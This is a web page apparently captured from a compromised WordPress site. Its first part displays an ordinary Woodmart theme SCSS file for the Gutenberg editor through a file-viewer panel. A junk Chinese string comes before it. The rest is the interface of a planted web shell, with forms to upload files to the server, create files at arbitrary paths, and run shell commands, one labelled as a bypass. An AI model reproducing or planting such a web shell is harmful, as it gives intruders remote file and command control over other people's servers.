舒舒服服水电费多少发多少*(^&*(
<div class='alert alert-info'><strong>/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress/_gutenberg.scss</strong></div><pre class='file-content'>// ------------------------------------------------------------------------------------------------
// GUTENBERG EDITOR
// ------------------------------------------------------------------------------------------------

// ------------------------------------------------------------------------------------------------
// MIXIN
// ------------------------------------------------------------------------------------------------

@mixin hidden-wd-block {
	// display: flex !important;
	filter: grayscale(1);
	opacity: .6;

	&amp;:before {
		content:&quot;&quot;;
		position: absolute;
		inset: 0;
		border: 1px solid rgba(0,0,0,.05);
		background: repeating-linear-gradient(135deg,rgba(0,0,0,.05),rgba(0,0,0,.05) 1px, transparent 2px, transparent 10px);
		z-index: 100;
		border-radius: inherit;
	}

	&gt; * {
		pointer-events: none;
	}
}

// ------------------------------------------------------------------------------------------------
// GENERAL
// ------------------------------------------------------------------------------------------------

@if $general {

	.block-editor-iframe__body {
		background-color: #FFF;
	}

	.block-editor-block-preview__content-iframe {

		.block-editor-iframe__body {
			background-color: transparent;
		}
	}

	.editor-visual-editor {

		iframe[name=&quot;editor-canvas&quot;] {
			border: 1px solid rgb(221, 221, 221) !important;
		}
	}

	// ------------------------------------------
	// ALIGN ELEMENT
	// ------------------------------------------

	html {

		:where(.wp-block) {

			&amp;[data-align=left] {

				&gt; * {
					float:left;
					margin-right: 20px;
				}
			}

			&amp;[data-align=right] {

				&gt; * {
					float:right;
					margin-left: 20px;
				}
			}
		}
	}

	// ------------------------------------------
	// CONTENT
	// ------------------------------------------

	.wp-block {} // FIX

	.editor-visual-editor {

		&amp;.edit-post-visual-editor {
			background-color: #FFF; // NOTE MAKE SEMI-TRANSPARENT BACKGROUND COLOR LOOK LIKE ON THE FRONTEND
			
			// &amp;:not(.is-iframed) {
			// 	background-color: #FFF; // NOTE MAKE SEMI-TRANSPARENT BACKGROUND COLOR LOOK LIKE ON THE FRONTEND
			// }
		}
	}

	:where(.editor-styles-wrapper) {

		:where(div, span, h1, h2, h3, h4, h5, h6, p, blockquote, pre,
		a, cite, code, img, strong, ol, ul, li,
		fieldset, form, table, caption, tbody, tfoot,
		thead, tr, th, td, article, aside, canvas, details, embed,
		figure, figcaption, footer, header, nav, section,
		time, mark, audio, video) {
			border: 0;
		}
	}

	.editor-styles-wrapper {
		color: var(--wd-text-color);
		font-weight: var(--wd-text-font-weight);
		font-style: var(--wd-text-font-style);
		font-size: var(--wd-text-font-size);
		font-family: var(--wd-text-font);
		line-height: var(--wd-text-line-height);
		padding: 15px;
		box-sizing: border-box; // NOTE FIX BLOCK WIDH WHEN EDITOR IS MALLER THAT CONTAINER SIZE
		background-color: var(--wd-main-bgcolor) !important; // NOTE IMPORTANT FOR RESPONSIVE IFRAME

		*,
		*:before,
		*:after {
			-webkit-box-sizing: border-box;
			-moz-box-sizing: border-box;
			box-sizing: border-box;
		}
	}

	.editor-styles-wrapper {

		&gt; .is-root-container,
		&gt; .edit-post-visual-editor__post-title-wrapper {
			// max-width: var(--wd-container-w);
			max-width: calc(var(--wd-container-w) - 30px); // NOTE 30PX IMITATE CONTAINER PADDING
			margin-inline: auto;
		}

		&gt; .edit-post-visual-editor__post-title-wrapper {
			margin-top: 4rem;
			margin-bottom: 4rem;
		}
	}

	.editor-styles-wrapper.block-editor-writing-flow,
	.block-editor-iframe__body {

		&amp;.color-scheme-light {
			background-color: #1A1A1A !important;
		}

		&amp;.color-scheme-dark {
			background-color: #FFF !important;
		}
	}

	.interface-navigable-region {

		&amp;.interface-interface-skeleton__content {
			overflow-x: clip;
		}
	}

	// .block-editor-iframe__scale-container {

	// 	&gt; iframe {
	// 		box-shadow: var(--xts-box-shadow);
	// 	}
	// }

	// ------------------------------------------
	// CHECKBOX AND RADIO
	// ------------------------------------------

	.block-editor-iframe__body {

		input[type=&quot;radio&quot;],
		input[type=&quot;checkbox&quot;] {
			height: 1em;
			width: 1em;
		}
	}

	// ------------------------------------------
	// ROW LAYOUTS
	// ------------------------------------------

	.xts-predefined-layouts {
		width: 100%;
		max-width: calc(var(--wd-container-w) - 30px);
		margin-left: auto;
		margin-right: auto;
		box-shadow: inset 0 0 0 1px #1e1e1e;
		border-radius: 2px;
		padding-block: 16px;
		background-color: #FFF;

		h3 {
			color: #000;
			text-align: center;
			font-size: 16px;
			margin-bottom: 14px;
			font-weight: 400;
		}

		&amp;.xts-predefined-design {
			
			.xts-predefined-layouts-inner {

				&gt; div {
					display: flex;
					flex-direction: column;
					align-items: center;
					justify-content: center;
					gap: 8px;
					width: 75px;
					font-size: 12px;
					padding: 8px;
					line-height: 1;

					span {
						color: #1e1e1e;
					}
				}
			}

			// .xts-predefined-icon {
			// 	height: 32px;
			// 	width: 32px;
			// }
		}

		&amp;.xts-predefined-blocks {

			.xts-predefined-layouts-inner {

				&gt; div {
					position: relative;
					display: flex;
					flex-direction: column;
					align-items: center;
					justify-content: center;
					width: 100px;
					height: 90px;
					align-items: center;
					font-size: 12px;
					padding-block: 2px;
					padding-inline: 3px 6px;
					line-height: 1;
					gap: 2px;
					padding: 8px;

					span {
						color: #1e1e1e;
					}

					&amp;:after {
						content:&quot;&quot;;
						position: absolute;
						inset: 0;
						background: var(--wp-admin-theme-color);
						opacity: 0;
						border-radius: 2px;
					}

					&amp;:hover {

						span {
							color: var(--wp-admin-theme-color);
						}

						.xts-predefined-icon {

							svg,
							svg * {
								fill: var(--wp-admin-theme-color);
							}
						}

						&amp;:after {
							opacity: .04;
						}
					}
				}
			}

			.xts-predefined-icon {
				height: 24px;
				width: 24px;
				padding: 0px 20px 12px 20px;
				box-sizing: content-box;

				svg,
				svg * {
					fill: #1e1e1e;
				}
			}
		}
	}

	.xts-predefined-layouts-inner {
		display: flex;
		justify-content: center;
		flex-wrap: wrap;
		gap: 16px;
		max-width: 400px;
		margin-inline: auto;

		&gt; div {
			display: flex;
			// align-items: center;
			// justify-content: center;
			// padding: 8px;
			cursor: pointer;
			transition: all .3s ease;

			&gt; svg {
				fill: #D0D0D0;
			}

			&amp;:hover {
				opacity: .7;
			}
		}
	}
	
	// ------------------------------------------
	// BLOCK LOADING
	// ------------------------------------------

	.wd-block-loading {
		position: relative;
		box-shadow: inset 0 0 0 1px #1e1e1e;
		border-radius: 2px;
		// background-color: #FFF;
		min-height: 40px;
		min-width: 40px;

		&gt; * {
			opacity: 0;
			visibility: hidden;
			transition: opacity .15s ease, visibility .15s ease;
		}

		&amp;:after {
			position: absolute;
			top: calc(50% - 13px);
			left: calc(50% - 13px);
			animation: woodmart_rotate 450ms infinite linear;

			@include loader($size: 26px, $b-width: 1px);
			// @include act-loader;
		}
	}

	// ------------------------------------------
	// EMPTY ELEMENT
	// ------------------------------------------

	html {

		.components-placeholder {

			&amp;.components-placeholder {
				min-height: 120px;
			}

			.components-placeholder__fieldset {
				margin-bottom: 0;
			}
		}
	}

	// ------------------------------------------
	// BLOCK RENDERED AS EMPTY
	// ------------------------------------------

	.components-placeholder__fieldset {
		margin-bottom: 0; // Reset margin bottom fieldset gap
	}

	// ------------------------------------------
	// EMPTY BLOCK PLACEHOLDER
	// ------------------------------------------

	.wp-block-wd-cover,
	.wd-el-video,
	.wd-block-image {

		&amp;.wd-has-placeholder, // #FIXED-HAS
		&amp;.wd-has-upload { // #FIXED-HAS
			display: block;
			padding: 0;
			height: auto !important; // NOTE FOR VIDEO ELEMENT
			border-radius: 0;
			max-width: 100%;

			.is-highlighted,
			.is-selected {
				outline-width: 1px !important;
			}
		}
	}

	.wp-block-wd-icon {

		&amp;.wd-has-placeholder, // #FIXED-HAS
		&amp;.wd-has-upload { // #FIXED-HAS
			width: fit-content !important;
			height: unset !important;
		}

		&amp;.wd-has-upload { // #FIXED-HAS
			max-width: fit-content !important;
			// width: fit-content !important;
			height: unset !important;
			min-width: 50px;

			&gt; div {
				height: auto;
			}
		}

		// .wp-block-wd-infobox.wd-icon-start &amp; {
			
		// 	&amp;:has(.xts-block-upload) { // #FIXED-HAS
		// 		max-width: 50% !important;
		// 	}
		// }
	}

	.xts-empty-block-placeholder {
		display: flex;
		// flex-direction: column;
		justify-content: center;
		align-items: center;
		flex-wrap: wrap;
		text-align: center;
		// padding: 30px;
		padding: 10px;
		border-radius: 2px;
		background-color: #F3F3F3 !important;
		z-index: $z-layer-4;
		color: #878787;
		gap: 10px;
		cursor: pointer;
		// min-height: 165px;
		min-height: 45px;

		legend {
			color: inherit;
		}

		svg {
			fill: #D0D0D0;
			// scale: 6;
			// scale: 2;
		}

		// .block-editor-block-icon {
		// 	// width: 100px;
		// 	// height: 100px;
		// 	width: 20px;
		// 	height: 20px;
		// }

		// &amp;.wp-block-wd-menu-anchor {
		// 	padding: 10px;
		// 	min-height: 50px;

		// 	.block-editor-block-icon {
		// 		width: 20px;
		// 		height: 20px;

		// 		&gt; svg {
		// 			scale: 2;
		// 		}
		// 	}
		// }
	}

	.xts-block-upload {
		display: flex;
		align-items: center;
		// margin: -30px;
		// height: calc(100% + 60px);
		// width: calc(100% + 60px);
		z-index: $z-layer-4;
		color: #1e1e1e;

		&gt; div {
			height: 100%;
		}

		legend {
			color: inherit;
		}

		.components-placeholder {
			min-height: 39px;

			.components-placeholder__label {
				// font-size: 24px;
				// font-weight: 400;
				min-height: 39px;
			}
		}

		&amp;.xts-loading {
			// background-color: red;

			.components-placeholder {
				opacity: .6;
				pointer-events: none;
			}

			&amp;:after {
				position: absolute;
				top: calc(50% - 13px);
				left: calc(50% - 13px);
				animation: woodmart_rotate 450ms infinite linear;
	
				@include loader($size: 26px, $b-width: 1px);
				@include act-loader;
			}
		}
	}

	.editor-styles-wrapper {

		.components-placeholder {

			label {
				color: #000; // NOTE FIX LABELS COLOR WITH COLOR-SCHEME LIGHT
			}
		}
	}

	// ------------------------------------------
	// HIDE FRONTEND CONTENT PLACEHOLDER
	// ------------------------------------------

	.editor-styles-wrapper {

		.woocommerce-Tabs-panel[id=&quot;tab-description&quot;],
		.wd-sizeguide-content {
	
			&amp;:before {
				// content: attr(data-accordion-index);
				content: &quot;Description&quot;;
				display: block;
				padding: 10px;
				height: 45px;
				width: 100%;
				background-color: #F3F3F3;
				text-align: center;
				text-transform: capitalize;
				color: #878787;
			}
	
			&gt; * {
				display: none;
			}
		}
	}

	// ------------------------------------------
	// ADD BLOCK BUTTON
	// ------------------------------------------

	.color-scheme-light {

		.block-editor-button-block-appender {

			&amp;:not(:hover) {
				box-shadow: inset 0 0 0 1px #F9F9F9;
				color: #F9F9F9;
			}

			&amp;:active {
				color: #F9F9F9;
			}
		}
	}

	// ------------------------------------------
	// THEME BLOCK BADGE
	// ------------------------------------------

	.block-editor-inserter__panel-content,
	.interface-interface-skeleton__secondary-sidebar {

		.components-button[class*=&quot;editor-block-list-item-wd&quot;] {

			.block-editor-block-types-list__item-icon {

				&amp;:before {
					@extend %wd-block-badge;
				}
			}

			&amp;:hover {

				.block-editor-block-types-list__item-icon {

					&amp;:before {
						@extend %wd-block-badge-hover;
					}
				}
			}
		}
	}

	.xts-predefined-layouts.xts-predefined-blocks {

		.xts-predefined-layouts-inner {

			&gt; div {

				&amp;:before {
					@extend %wd-block-badge;
				}

				&amp;:hover {

					&amp;:before {
						@extend %wd-block-badge-hover;
					}
				}
			}
		}
	}

	// @extend %wd-block-badge;

	%wd-block-badge {
		@include font-icon($xts-icon-logo-woodmart);
		position: absolute;
		right: 5px;
		top: 5px;
		font-weight: 400;
		opacity: .4;
	}

	// @extend %wd-block-badge-hover;

	%wd-block-badge-hover {
		color: var(--wp-admin-theme-color) !important;
	}

	// ------------------------------------------
	// SCROLL
	// ------------------------------------------

	// html {
	// 	--wd-scroll-w: .001px;

	// 	&amp;.wd-scrollbar {

	// 		&amp;.platform-Windows {
	// 			--wd-scroll-w: 17px;
	// 		}
		
	// 		&amp;.platform-Windows.browser-Opera,
	// 		&amp;.platform-Mac {
	// 			--wd-scroll-w: 15px;
	// 		}
	// 	}
	// }

	// @media (min-width: 1024px) {

	// 	html {
	// 		// --wd-scroll-w: .001px;
	
	// 		&amp;.wd-scrollbar {
	
	// 			&amp;.platform-Windows {
	// 				--wd-scroll-w: 17px;
	// 			}
			
	// 			&amp;.platform-Windows.browser-Opera,
	// 			&amp;.platform-Mac {
	// 				--wd-scroll-w: 15px;
	// 			}
	// 		}
	// 	}
	// }

	// ------------------------------------------
	// EDITOR INTERFACE VARIABLES
	// ------------------------------------------

	//**** EDITOR ****//

	body {
		// --xts-editor-sp: calc(15px + var(--wd-scroll-w));
		--xts-editor-sp: var(--wd-scroll-w);
		// --xts-editor-sp: 0px;


		// &amp;.is-fullscreen-mode,
		&amp;.block-editor-iframe__body {
			// --xts-editor-sp: var(--wd-scroll-w);
			// --xts-editor-width: calc(100% + 30px);
			// margin-right: var(--xts-editor-sp);
			// --xts-editor-sp: 15px;

			.wd-slider.wd-stretched,
			.wp-block-wd-section {
				--xts-editor-width: calc(100% + 30px);
				inset-inline-start: -15px;
			}
		}
	}

	//**** WIDGETS ****//

	body .wp-block-widget-area {

		.block-editor-block-list__layout {
			
			&gt; *:not(:first-child) {
				margin-top: 16px;
			}
		}

		.wp-block-widget-area__panel-body-content {

			div.editor-styles-wrapper {
				background-color: transparent !important;
			}
		}
	}

	.edit-widgets-main-block-list {

		&gt; * {
			margin-block: 20px;
		}
	}

	.wp-block-legacy-widget {
		--btn-height: 30px;
		--btn-padding: 0px 10px;
	}

	//**** BLOCK EDITOR TOPBAR ****//

	@media (min-width: #{$media-lg + 1px}) {

		.block-editor-page {
			--wd-admin-bar-h: 92px;
	
			&amp;.is-fullscreen-mode {
				--wd-admin-bar-h: 60px;
			}
		}
	}

	//**** WP VERTICAL NAVIGATION ****//

	body {
		--xts-side-nav-w: 160px;

		&amp;.folded {
			--xts-side-nav-w: 34px;
		}

		&amp;.block-editor-iframe__body, // NOTE FOR RESPONSIVE
		&amp;.is-fullscreen-mode {
			--xts-side-nav-w: 0px;
		}
	}

	//**** EDITOR SIDEBAR (RIGHT) ****//

	.block-editor-iframe__body,
	.edit-post-layout {
		--xts-editor-sidebar-w: 0px;
	}

	.edit-post-layout {

		// &amp;.is-sidebar-opened {
		// 	--xts-editor-sidebar-w: 296px; // NOTE 280px WIDTH + 16px SCROLL
		// }

		// &amp;:has(.interface-interface-skeleton__sidebar:not(:empty)) { // #FIXED-HAS
		// 	--xts-editor-sidebar-w: 296px; // NOTE 280px WIDTH + 16px SCROLL
		// }

		&amp;.xts-editor-sidebar-opened {
			--xts-editor-sidebar-w: 296px; // NOTE 280px WIDTH + 16px SCROLL
		}
	}

	//**** EDITOR NAVIGATOR (LEFT) ****//

	// .block-editor-iframe__body,
	// .edit-post-layout {
	// 	--xts-editor-navigator-w: 0px;
	// }

	.block-editor-iframe__body,
	.edit-post-layout {
		--xts-editor-navigator-w: 0px;
	}

	// .edit-post-layout {

	// 	&amp;:has(.interface-interface-skeleton__secondary-sidebar) { #FIXED-HAS
	// 		--xts-editor-navigator-w: 351px;
	// 	}
	// }

	// .interface-interface-skeleton__secondary-sidebar {

	// 	~ .interface-interface-skeleton__content {
	// 		--xts-editor-navigator-w: 351px;
	// 	}
	// }

	.edit-post-layout {

		&amp;.xts-secondary-sidebar-opened {
			--xts-editor-navigator-w: 351px;
		}
	}

	//**** EDITOR BREADCRUMBS ****//

	body {
		--xts-editor-breadcrumbs-h: 25px;

		&amp;.block-editor-iframe__body {
			--xts-editor-breadcrumbs-h: 0px;
		}
	}

	//**** EDITOR GENERAL ****//

	.is-root-container {
		--xts-editor-width: calc(100vw - var(--xts-editor-sp) - var(--xts-editor-sidebar-w) - var(--xts-side-nav-w) - var(--xts-editor-navigator-w));
		--xts-editor-side-sp: calc((var(--xts-editor-width) - var(--wd-container-w)) / 2);

		// .is-fullscreen-mode &amp; {
		// 	--xts-editor-width: calc(100vw - 15px - var(--xts-editor-sidebar-w) - var(--xts-side-nav-w) - var(--xts-editor-navigator-w));
		// }
	}

	.wp-block-wd-section {
		// left: #{&quot;min(calc(((var(--xts-editor-width) - calc(var(--wd-container-w) - 30px)) / 2) * -1), -15px)&quot;};
		inset-inline-start: #{&quot;min(calc(((var(--xts-editor-width) - calc(var(--wd-container-w) - 30px)) / 2) * -1), -15px)&quot;};
		width: var(--xts-editor-width);
	}

	// ------------------------------------------
	// BLOCK PREVIEW
	// ------------------------------------------

	.block-editor-block-preview__content-iframe {

		// img.xts-block-preview,
		// .xts-block-preview {
		// 	width: 100% !important;
		// }

		// .wp-block {

		// 	img {
		// 		width: 100%;
		// 	}
		// }

		.block-editor-iframe__body {
			background-color: transparent !important;
			min-height: 300px;
			// display: flex;
			// align-items: center;
			// justify-content: center;

			// &amp;:has([class*=&quot;wp-block-wd-&quot;]) { // #FIXED-HAS
			// 	// min-height: 242px;

			// 	min-height: 280px;
			// 	background-color: RED !important;

			// 	display: flex !important;
			// 	align-items: center;
			// 	justify-content: center;

			// 	// &amp;:not(.wp-block-wd-video) {
			// 	// 	display: flex !important;
			// 	// 	align-items: flex-end;
			// 	// 	justify-content: center;
			// 	// }
			// }

			img.xts-block-preview {
				width: 100% !important;
			}

			&gt; .block-editor-block-list__layout {
				// display: flex;
				// align-items: center;
				// justify-content: center;

				// &gt; [class*=&quot;wp-block-wd&quot;] {
				// 	// margin-bottom: 0 !important;
				// 	margin-inline: auto !important;
				// 	background-color: red !important;
				// 	align-self: center !important;
				// }

				&gt; .wp-block-wd-button {
					--btn-padding: 10px 60px;
					--btn-height: 90px;
					--btn-font-size: 28px;
				}

				&gt; .wp-block-wd-countdown-timer {

					.wd-timer {
						--wd-timer-size: 40px;
					}
				}
			}

			.wd-checkout-login .woocommerce-form-login.hidden-form {
				display: block !important;
			}
		}
	}

	// ------------------------------------------
	// CHECKOUT LAYOUT
	// ------------------------------------------

	.wp-block-wd-ch-coupon-form,
	.wp-block-wd-ch-login-form {

		.xts-notice {
			display: none;
			margin-bottom: 0;
		}
	}

	.wp-block-wd-ch-form {

		.wp-block-wd-ch-coupon-form,
		.wp-block-wd-ch-login-form {
	
			.xts-notice {
				display: block;

				+ div {
					display: none;
				}
			}
		}
	}

	// ------------------------------------------
	// CONTROLS
	// ------------------------------------------

	//**** Content horizontal align ****//

	.rtl {

		.wd-block-content-h-align {

			svg.start_svg__icon,
			svg.end_svg__icon {
				transform: rotate(180deg);
			}
		}
	}

	// ------------------------------------------
	// BLOCK RESPONSIVE VISIBILITY
	// ------------------------------------------

	[class*=&quot;wp-block-wd-&quot;] {

		&amp;.wd-block-hide {
			@include hidden-wd-block;
		}
	}

	@media (min-width: 1025px) {

		[class*=&quot;wp-block-wd-&quot;] {

			&amp;.wd-block-hide-lg {
				@include hidden-wd-block;
			}
		}
	}

	@media (min-width: 769px) and (max-width: 1024px) {

		[class*=&quot;wp-block-wd-&quot;] {

			&amp;.wd-block-hide-md-sm {
				@include hidden-wd-block;
			}
		}
	}

	@media (max-width: 768.98px) {

		[class*=&quot;wp-block-wd-&quot;] {

			&amp;.wd-block-hide-sm {
				@include hidden-wd-block;
			}
		}
	}

// ------------------------------------------------------------------------------------------------
// SINGLE PRODUCT
// ------------------------------------------------------------------------------------------------

.xts-guten-wrapp {
	position: relative;
	display: flex;
	align-items: center;
	justify-content: center;
	border: 1px solid #c3c4c7;
	min-height: 300px;
	padding: 20px;
	background: #FFF;
	transition: all .1s ease;

	a {
		box-shadow: none !important;
		outline: none !important;
	}

	.xts-gutenberg-btn {
		z-index: 1;
	}

	&amp;:hover {
		background-color: #fbfbfb;
	}
}

.xts-switch-editor-mode {
	margin-block: 15px;
}

body {

	#wpcontent {

		.xts-gutenberg-btn {
			display: inline-flex;
			align-items: center;
			gap: 8px;
		}
	}
}

.xts-gutenberg-editor-active {

	#postdivrich {
		display: none !important;
	}
}

.xts-gutenberg-editor-inactive {

	.xts-guten-wrapp {
		display: none;
	}
}

// ------------------------------------------
// GUTENBERG EDITOR
// ------------------------------------------

// .wd-back-button_wrapper {
// 	margin-inline-end: 5px;
// }

.block-editor-page {

	&amp;.xts-gutenberg-editor-active {
		overflow: hidden;
		
		.block-editor__container {
			z-index: 9999;
		}
		
		.block-editor__container .editor-editor-interface {
			position: fixed;
		 	inset: 0;
		}
		
		#wpadminbar {
			@extend %hide-gutenberg-editor-elements;
		}
		
		.editor-post-summary .editor-post-featured-image + .components-flex,
		.editor-post-summary .editor-post-featured-image,
		.editor-post-card-panel__header .components-button,
		.editor-post-content-information {
			@extend %hide-gutenberg-editor-elements;
		}

		.editor-post-featured-image ~ .components-flex:last-child {

			&gt; .components-flex {

				&gt; .components-flex {

					&amp;:last-child {
						@extend %hide-gutenberg-editor-elements;
					}
				}
			}
		}
		
		.editor-header__back-button,
		.edit-post-fullscreen-mode-close {
			@extend %hide-gutenberg-editor-elements;
		}
		
		.editor-header {
			grid-template: auto/0px minmax(min-content,1fr) 2fr minmax(min-content,1fr) 60px;
		}
	}

	&amp;[class*=&quot;xts-gutenberg-editor-&quot;] {

		.editor-header__settings {

			.components-dropdown-menu:not(.editor-preview-dropdown),
			.interface-pinned-items {
				order: 1;
			}
		}
	}
}

//**** BOXED WRAPPER ****//

[class*=&quot;xts-wrapper-boxed&quot;] {

	.is-root-container {
		--wd-container-w: calc(var(--wd-boxed-w) - 40px);
		--wd-boxed-w: 1200px;
		max-width: var(--wd-boxed-w);
		box-shadow: 0 1px 9px rgba(0, 0, 0, 0.08);
		padding-inline: 35px;
		background-color: var(--wd-main-bgcolor);
	}

	.wp-block-wd-section {

		&gt; .block-editor-inner-blocks {

			&gt; .block-editor-block-list__layout {

				&gt; .wp-block-wd-container,
				&gt; .wp-block-wd-row {

					&amp;:not(.wd-custom-width) {
						max-width: var(--wd-boxed-w);
					}
				}
			}
		}
	}
}

//**** BOXED WRAPPER WITH OVERFLOW ****//

.xts-wrapper-boxed {

	.is-root-container {
		overflow: hidden;
	}
}

//**** BOXED WRAPPER HEADING ****//

[class*=&quot;xts-wrapper-boxed&quot;] {

	.editor-styles-wrapper {

		&gt; .edit-post-visual-editor__post-title-wrapper {
			--wd-container-w: calc(var(--wd-boxed-w) - 40px);
			--wd-boxed-w: 1200px;
			max-width: var(--wd-boxed-w);

			h1 {
				background-color: #FFF;
				padding: 15px;
			}
		}
	}
}

@media (min-width: 600px) {

	// ------------------------------------------
	// FIX BLOCK HORIZONTAL ARROWS ON RTL (UNTIL WORDPRESS FIX IT)
	// ------------------------------------------

	.rtl {

		.block-editor-block-mover {

			&amp;.is-horizontal {
	
				.block-editor-block-mover__move-button-container {
					
					.components-button {
						transform: rotate(180deg);
					}
	
					.block-editor-block-mover-button {
	
						&amp;.is-down-button {
	
							svg {
								left: auto;
								right: 5px;
							}
						}
					}
				
					.block-editor-block-mover-button {
	
						.is-up-button {
							
							svg {
								right: auto;
								left: 5px;
							}
						}
					}
				}
			}
		}
	}
}

@media (max-width: 1875px) { // FIX FOR SMALL SCREENS WISH SIDEBARS OPENED

	[class*=&quot;xts-wrapper-boxed&quot;] {

		.editor-editor-interface {

			&amp;:is(
			.xts-editor-sidebar-opened,
			.xts-secondary-sidebar-opened) {

				.is-root-container {
					--wd-container-w: 100%;
					--wd-boxed-w: 100%;
					box-shadow: none;
					padding-inline: 0px;
				}

				.editor-styles-wrapper {
					padding-inline: 0px;
				}

				.wd-slider.wd-stretched,
				.wp-block-wd-section {
					--xts-editor-width: 100%;
					inset-inline-start: 0px;
				}
			}
		}
	}
}

// ------------------------------------------------------------------------------------------------
// TEMPLATE LIBRARY
// ------------------------------------------------------------------------------------------------

.xts-template-library {

	.xts-prebuilt {
		height: 32px !important;
		margin-inline-end: 8px;
		padding-inline: 12px;

		&amp;:before {
			// display: none;
			left: 0;
			right: 0;
		}
	}
}

.xts-template-library-modal {

	.wd-grid-g {

		.wd-grid-g {
			position: sticky;
			top: 0;
		}
	}
}

.xts-template-library-search {
	margin-bottom: 10px;

	input {
		width: 100%;
	}
}

.xts-template-library-nav {
	flex-direction: column;

	&amp;.xts-nav {
		margin-inline: 0;

		&gt; li {

			&gt; a {
				// padding: 8px;
				display: flex;
				justify-content: space-between;
				padding: 10px 8px;
				border-radius: var(--xts-option-border-radius);
				color: #878787;
				font-weight: 600;
				// cursor: pointer;
				transition: all .2s ease-in-out;
				text-decoration: none;
				box-shadow: none !important;
				outline: none !important;
				border: none !important;
			}

			&amp;.xts-active,
			&amp;:hover {

				&gt; a {
					background-color: #F7F7F7;
					color: var(--xts-body-color);
				}
			}

			&amp;:not(:last-child) {
				margin-bottom: 5px;
			}
		}
	}
}

.xts-template-library-item {
	display: flex;
	flex-direction: column;
	flex-grow: 1;
	// gap: 10px;
	justify-content: space-between;
	border: 1px solid var(--xts-option-border-color);
	border-radius: var(--xts-option-border-radius);
	transition: all .25s ease;
	overflow: hidden;

	&amp;:hover {
		box-shadow: var(--xts-box-shadow);

		.xts-template-library-item__image {

			&amp;:before {
				background-color: rgba(0, 0, 0, 0.15);
			}

			.button {
				opacity: 1;
				visibility: visible;
			}

			// img {
			// 	opacity: .6;
			// }
		}
	}
}

.xts-template-library-item__image {
	position: relative;
	display: flex;
	justify-content: center;
	align-items: center;
	// overflow: hidden;
	height: 100%;
	min-height: 240px;
	transition: all .25s ease;
	// background-color: #f5f5f5;
	// box-shadow: 0 0 9px rgba(0,0,0,.15);

	&amp;:before {
		content: &quot;&quot;;
		position: absolute;
		inset: 0 0 -1px 0;
		z-index: 1;
		transition: inherit;
		pointer-events: none;
	}

	img {
		width: 100%;
	}

	// .button {
	// 	position: absolute;
	// 	top: 50%;
	// 	left: 50%;
	// 	z-index: 1;
	// 	transform: translate(-50%,-50%);
	// 	opacity: 0;
	// 	transition: all .25s ease;
	// }
}

.xts-template-library-item__title {
	color: #242424;
	font-weight: 600;
	font-size: 16px;
	line-height: 17px;
}

.xts-template-library-item__footer {
	display: flex;
	justify-content: space-between;
	align-items: center;
	gap: 10px;
	padding: 15px;
	border-top: 1px solid var(--xts-option-border-color);

	button {

		&amp;:before {
			margin-inline-end: 5px;
			vertical-align: middle;
		}
	}
}

// ------------------------------------------------------------------------------------------------
// EXTENDS
// ------------------------------------------------------------------------------------------------

// @extend %hide-gutenberg-editor-elements;

%hide-gutenberg-editor-elements {
	display: none;
}

// @media (min-width: 782px) {

// 	.block-editor-page {

// 		.xts-gutenberg-editor-active {

// 			.post-type-product .editor-header:has(&gt;.editor-header__center) { // #FIXED-HAS
// 				grid-template: auto / 0px minmax(min-content, 1fr) 2fr minmax(min-content, 1fr) 60px;
// 			}
// 		}
// 	}
// }

} // END IF</pre><!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/unifccue/www/wp-content/themes/woodmart/inc/admin/assets/sass/pages/wordpress" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


